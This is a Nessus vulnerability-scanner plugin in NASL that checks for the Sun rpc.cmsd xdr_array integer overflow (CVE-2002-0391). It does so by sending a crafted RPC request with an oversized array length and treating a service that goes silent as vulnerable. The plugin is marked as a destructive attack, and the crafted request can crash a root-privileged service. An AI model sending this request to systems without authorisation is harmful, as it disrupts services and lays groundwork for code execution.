#
# This script was written by Xue Yong Zhi <xueyong@udel.edu>
#
# See the Nessus Scripts License for details
#
# Data structure of cms_create_args(maybe wrong) 
# struct cms_pid_t {
#	long pid;
# };
# struct cms_create_args {
#	char *str1;
#	char *str2;
#	struct cms_pid_t mypid;
#	struct {
#		u_int myarray_len;
#		long *myarray_val;
#	} myarray;
# };
#
#
# 
# Successfuly tested against Solaris 8
#
if(description)
{
 script_id(11418);
 script_bugtraq_id(5356);
 script_version ("$Revision: 1.6 $");
 script_cve_id("CVE-2002-0391");
 name["english"] = "Sun rpc.cmsd overflow";
 script_name(english:name["english"]);

 desc["english"] = "
The remote Sun rpc.cmsd has integer overflow problem in xdr_array. An attacker 
may use this flaw to execute arbitrary code on this host with the privileges
rpc.cmsd is running as (typically, root), by sending a specially crafted 
request to this service.

Solution : We suggest that you disable this service and apply a new patch.
Risk factor : High";


 script_description(english:desc["english"]);

 summary["english"] = "Checks if Sun rpc.cmsd overflow";
 script_summary(english:summary["english"]);

 script_category(ACT_DESTRUCTIVE_ATTACK); # rpc.cmsd is started from inetd


 script_copyright(english:"This script is Copyright (C) 2003 Xue Yong Zhi",
		francais:"Ce script est Copyright (C) 2003 Xue yong Zhi");
 family["english"] = "RPC";
 family["francais"] = "RPC";
 script_family(english:family["english"], francais:family["francais"]);
 script_dependencie("rpc_portmap.nasl");
 script_require_keys("rpc/portmap");
 exit(0);
}

#
# The script code starts here
#


include("misc_func.inc");
include("nfs_func.inc");

RPC_PROG = 100068;
tcp = 0;
port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_UDP);
if(!port){
	port = get_rpc_port(program:RPC_PROG, protocol:IPPROTO_TCP);
	tcp = 1;
}

if(port) {
	if(tcp) {
		soc = open_sock_tcp(port);
	} else {
		soc = open_sock_udp(port);
	}

	pad = padsz(len:strlen(this_host_name()));
	len = 20 + strlen(this_host_name()) + pad;

	# First, make sure there is a RPC service running behind, so
	# we send a bogus request to get an error back
	req1 = rpclong(val:rand()) +
		rpclong(val:0) +
		rpclong(val:2) +
		rpclong(val:100070) +
		rpclong(val:4) +
		rpclong(val:21);
		
	send(socket:soc, data:req1);
	r = recv(socket:soc, length:4096);
	close(soc);
	if(!r)exit(0);
	
	if(tcp) {
		soc = open_sock_tcp(port);
	} else {
		soc = open_sock_udp(port);
	}
	
	
	req = 	rpclong(val:rand()) +   	#unsigned int xid;
		rpclong(val:0) +      		#msg_type mtype case CALL(0):
		rpclong(val:2) +      		#unsigned int rpcvers;/* must be equal to two (2) */
		rpclong(val:100068) + 		#unsigned int prog(CMSD);
		rpclong(val:4) +      		#unsigned int vers(4);
		rpclong(val:21) +      		#unsigned int proc(rtable_create_4);
		rpclong(val:1) +      		#AUTH_UNIX
		rpclong(val:len) +    		#len
		rpclong(val:rand()) + 		#stamp
		rpclong(val:strlen(this_host_name())) + #length
		this_host_name() +            	#contents(Machine name)
		rpcpad(pad:pad) +     		#fill bytes
		rpclong(val:0)  +     		#uid
		rpclong(val:0)  +     		#gid
		rpclong(val:0)  +     		#auxiliary gids
		rpclong(val:0)  +     		#AUTH_NULL
		rpclong(val:0)  +		#len
		rpclong(val:1)  +		#strlen of str1
		rpclong(val:67)  +		#str1
		rpclong(val:1)  +		#strlen of str2
		rpclong(val:67)  +		#str2
		rpclong(val:0)  + 		#pid
		rpclong(val:1073741825) +	#array size
		rpclong(val:0)  +		#content of array(this one and below)
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0)  +
		rpclong(val:0);

	send(socket:soc, data:req);
	r = recv(socket:soc, length:4096);
	if(!r) {
		security_hole(port);
	}
}



